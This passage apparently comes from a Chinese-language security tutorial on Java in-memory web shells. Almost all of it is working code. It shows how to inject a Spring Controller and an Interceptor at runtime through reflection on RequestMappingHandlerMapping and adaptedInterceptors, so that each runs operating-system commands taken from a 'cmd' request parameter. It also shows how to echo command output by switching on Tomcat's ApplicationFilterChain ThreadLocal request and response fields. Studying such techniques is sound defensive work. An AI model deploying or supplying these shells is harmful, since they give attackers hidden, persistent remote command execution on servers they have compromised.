@Controller public class test { @RequestMapping("/hello") public void Spring_Controller() throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException {
WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class); Method method = Shell.class.getDeclaredMethod("shell"); PatternsRequestCondition url = new PatternsRequestCondition("/shell"); RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(); RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null); r.registerMapping(info, new Shell(), method);
}
public class Shell{
public Shell(){}
public void shell() throws IOException {
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); Runtime.getRuntime().exec(request.getParameter("cmd")); } }
}
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87
| package com.controller;
import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.context.ContextLoader; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.context.request.ServletRequestAttributes; import org.springframework.web.context.support.WebApplicationContextUtils; import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition; import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition; import org.springframework.web.servlet.mvc.method.RequestMappingInfo; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; import org.springframework.web.servlet.support.RequestContextUtils;
import javax.servlet.http.HttpServletRequest; import java.io.IOException; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.Map;
@Controller public class test { @RequestMapping("/hello") public void Spring_Controller() throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException {
WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);
Field f = mapping.getClass().getSuperclass().getSuperclass().getDeclaredField("mappingRegistry"); f.setAccessible(true); Object mappingRegistry = f.get(mapping);
Class<?> c = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry");
Method[] ms = c.getDeclaredMethods();
PatternsRequestCondition url = new PatternsRequestCondition("/shell"); RequestMethodsRequestCondition condition = new RequestMethodsRequestCondition(); RequestMappingInfo info = new RequestMappingInfo(url, condition, null, null, null, null, null);
Shell sh = new Shell();
for (Method method : ms) { if ("register".equals(method.getName())) { method.setAccessible(true); method.invoke(mappingRegistry, info, sh, Shell.class.getMethod("shell")); } }
}
public class Shell{
public Shell(){}
public void shell() throws IOException {
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); Runtime.getRuntime().exec(request.getParameter("cmd")); } }
}
|
Interceptor内存马
获取adaptedInterceptors
1 2 3 4
| org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping"); java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors"); field.setAccessible(true); java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);
|
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
| package com.controller;
import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.context.ContextLoader; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.context.request.ServletRequestAttributes; import org.springframework.web.context.support.WebApplicationContextUtils; import org.springframework.web.servlet.HandlerInterceptor; import org.springframework.web.servlet.HandlerMapping; import org.springframework.web.servlet.ModelAndView; import org.springframework.web.servlet.handler.AbstractHandlerMapping; import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition; import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition; import org.springframework.web.servlet.mvc.method.RequestMappingInfo; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; import org.springframework.web.servlet.support.RequestContextUtils;
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.ArrayList; import java.util.LinkedHashSet; import java.util.Map;
@Controller public class test { @RequestMapping("/hello") public void Spring_Controller() throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException {
WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()); AbstractHandlerMapping abstractHandlerMapping = (AbstractHandlerMapping)context.getBean(RequestMappingHandlerMapping.class); Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors"); field.setAccessible(true); ArrayList<Object> adaptedInterceptors = (ArrayList<Object>)field.get(abstractHandlerMapping); adaptedInterceptors.add(new Shell()); } public class Shell implements HandlerInterceptor { @Override public boolean preHandle(HttpServletRequest request, HttpServletResponse var2, Object var3) throws Exception{ String cmd = request.getParameter("cmd"); if (cmd != null) { try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } return true; } return false; } public void postHandle(HttpServletRequest var1, HttpServletResponse var2, Object var3, ModelAndView var4) throws Exception{};
public void afterCompletion(HttpServletRequest var1, HttpServletResponse var2, Object var3, Exception var4) throws Exception{};
}
}
|
内存马回显技术
ThreadLocal
org.apache.catalina.core.ApplicationFilterChain类中有两个static变量*lastServicedRequest和lastServicedResponse*
1 2 3 4 5 6 7 8
| static { if (ApplicationDispatcher.WRAP_SAME_OBJECT) { lastServicedRequest = new ThreadLocal() lastServicedResponse = new ThreadLocal() } else { lastServicedRequest = null lastServicedResponse = null }
|
ApplicationFilterChain#internalDoFilter中,Tomcat会将request对象和response对象存储到这两个变量中
1 2 3 4 5
| try { if (ApplicationDispatcher.WRAP_SAME_OBJECT) { lastServicedRequest.set(request); lastServicedResponse.set(response); }
|
所有可反射获取ApplicationDispatcher.WRAP_SAME_OBJECT改为true
通过ThreadLocal#get方法将request和response对象从*lastServicedRequest和lastServicedResponse*中取出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82
|
Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);
if (!WRAP_SAME_OBJECT_FIELD.getBoolean(null)){
WRAP_SAME_OBJECT_FIELD.setBoolean(null,true);
}
if (lastServicedRequestField.get(null)==null){
lastServicedRequestField.set(null, new ThreadLocal<>());
}
if (lastServicedResponseField.get(null)==null){
lastServicedResponseField.set(null, new ThreadLocal<>());
}
ServletRequest servletRequest=null; if(lastServicedRequestField.get(null)!=null) {
ThreadLocal threadLocal = (ThreadLocal) lastServicedRequestField.get(null); servletRequest = (ServletRequest) threadLocal.get(); }
ServletResponse servletResponse = null; if(lastServicedResponseField.get(null)!=null){ ThreadLocal threadLocal = (ThreadLocal) lastServicedResponseField.get(null); servletResponse = (ServletResponse) threadLocal.get(); }
try { PrintWriter writer = servletResponse.getWriter(); Scanner scanner = new Scanner(Runtime.getRuntime().exec(servletRequest.getParameter("cmd")).getInputStream()).useDelimiter("\\A"); String result = scanner.hasNext()?scanner.next():""; scanner.close(); writer.write(result); writer.flush(); writer.close(); } catch (IOException e) { throw new RuntimeException(e); }
|